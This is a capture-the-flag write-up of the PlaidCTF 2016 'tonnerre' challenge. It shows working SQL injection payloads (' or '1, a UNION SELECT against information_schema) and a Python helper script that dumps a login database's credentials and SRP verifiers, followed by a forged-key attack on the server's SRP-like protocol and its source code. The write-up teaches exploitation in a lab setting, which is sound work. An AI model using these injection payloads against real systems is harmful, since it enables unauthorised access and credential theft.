PlaidCTF 2016: tonnerre

Tonnerre was a cryptography challenge for 200 points in this year's PlaidCTF.

We were pretty sure the service at tonnerre.pwning.xxx:8561 (source) was totally secure. But then we came across this website and now we’re having second thoughts... We think they store the service users in the same database?

Since there is a suggestion that the service may be not secure, I started looking at the linked website. It was the login form of an admin interface. The login with username "foo" and password "' or '1" resulted in the following message:

Authentication successful for user admin! However, administration is disabled right now due to ongoing hacking attempts. Check again later.

The password field was vulnerable to SQL injection. I wrote a small helper script for more convenient injection

#!/usr/bin/env python3
import sys
import requests

url = 'http://tonnerre.pwning.xxx:8560/login.php'


def inject(payload):
    data = {
            'username': 'foo',
            'password': payload,
            }
    res = requests.post(url, data=data)
    print(res.text)


if __name__ == '__main__':
    if len(sys.argv) < 2:
        sys.exit(1)
    inject(sys.argv[1])

First I retrieved a list of the available tables

./inject.py "qwer' UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=concat(database()); -- " Authentication successful for user admin_users,users! However, administration is disabled right now due to ongoing hacking attempts. Check again later.

We can see there are two table "admin_users" and "users". With some more injections the whole content can be retrieved.

admin_user:

user pass
admin adminpasswordbestpasswordmostsecure

user:

user salt verifier
get_flag d14058efb3f49bd1f1c68de447393855... ebedd14b5bf7d5fd88eebb057af43803...

The first table contains the administrator credentials for the website. The second table contains some more interesting values. Now we have to figure out, how to use them.

Since we have the source code (see below), we know what the server expects. The protocol is displayed in the following figure.

The public key from the server can be recovered by \(pub_s = res - veri_c \pmod{N}\).

We choose the random number \(rand_c = 4\). If we set \(pub_c = g^4 \cdot veri_c^{-1} \pmod{N}\) the product \(pub_c \cdot veri_c\) is a power of \(g\). Because \(N\) is prime \(veri_c\) is invertible. It follows:

\begin{equation*} \begin{split} secret &= H((pub_c \cdot veri_c)^{rand_s} \pmod{N})) \\ &= H((g^4 \cdot veri_c^{-1} \cdot veri_c)^{rand_s} \pmod{N}) \\ &= H((g^4)^{rand_s} \pmod{N}) \\ &= H((g^{4 \cdot rand_s} \pmod{N}) \\ &= H(((g^{rand_s})^4 \pmod{N}) \\ &= H((pub_s^4 \pmod{N}) \end{split} \end{equation*}

So we can calculate the secret, construct the proof and receive the flag .

The flag is PCTF{SrP_v1_BeSt_sRp_c0nf1rm3d}

Appendix

The given source code of tonnerre:

#/usr/bin/env python

from Crypto.Random import random, atfork
from Crypto.Hash import SHA256

from database import import_permitted_users

import SocketServer,threading,os,time

msg = """Welcome to the Tonnerre Authentication System!\n"""
flag = "REDACTED"

N = 168875487862812718103814022843977235420637243601057780595044400667893046269140421123766817420546087076238158376401194506102667350322281734359552897112157094231977097740554793824701009850244904160300597684567190792283984299743604213533036681794114720417437224509607536413793425411636411563321303444740798477587L
g = 9797766621314684873895700802803279209044463565243731922466831101232640732633100491228823617617764419367505179450247842283955649007454149170085442756585554871624752266571753841250508572690789992495054848L

permitted_users = {}

# This should import the fields from the data into the dictionary.
# the dictionary is indexed by username, and the data it contains are tuples
# of (salt, verifier) as numbers. note that the database stores these in hex.
import_permitted_users(permitted_users)

def H(P):
  h = SHA256.new()
  h.update(P)
  return h.hexdigest()

def tostr(A):
  return hex(A)[2:].strip('L')

class incoming(SocketServer.BaseRequestHandler):
  def handle(self):
    atfork()
    req = self.request
    req.sendall(msg)
    username = req.recv(512)[:-1]
    if username not in permitted_users:
      req.sendall('Sorry, not permitted.\n')
      req.close()
      return
    public_client = int(req.recv(512).strip('\n'), 16) % N
    c = (public_client * permitted_users[username][1]) % N
    if c in [N-g, N-1, 0, 1, g]:
      req.sendall('Sorry, not permitted.\n')
      req.close()
      return
    random_server = random.randint(2, N-3)
    public_server = pow(g, random_server, N)
    residue = (public_server + permitted_users[username][1]) % N
    req.sendall(tostr(permitted_users[username][0]) + '\n')
    req.sendall(tostr(residue) + '\n')

    session_secret = (public_client * permitted_users[username][1]) % N
    session_secret = pow(session_secret, random_server, N)
    session_key = H(tostr(session_secret))

    proof = req.recv(512).strip('\n')

    if (proof != H(tostr(residue) + session_key)):
      req.sendall('Sorry, not permitted.\n')
      req.close()
      return

    our_verifier = H(tostr(public_client) + session_key)
    req.sendall(our_verifier + '\n')

    req.sendall('Congratulations! The flag is ' + flag + '\n')
    req.close()

class ReusableTCPServer(SocketServer.ForkingMixIn, SocketServer.TCPServer):
  pass

SocketServer.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", 8561), incoming)
server.timeout = 60
server.serve_forever()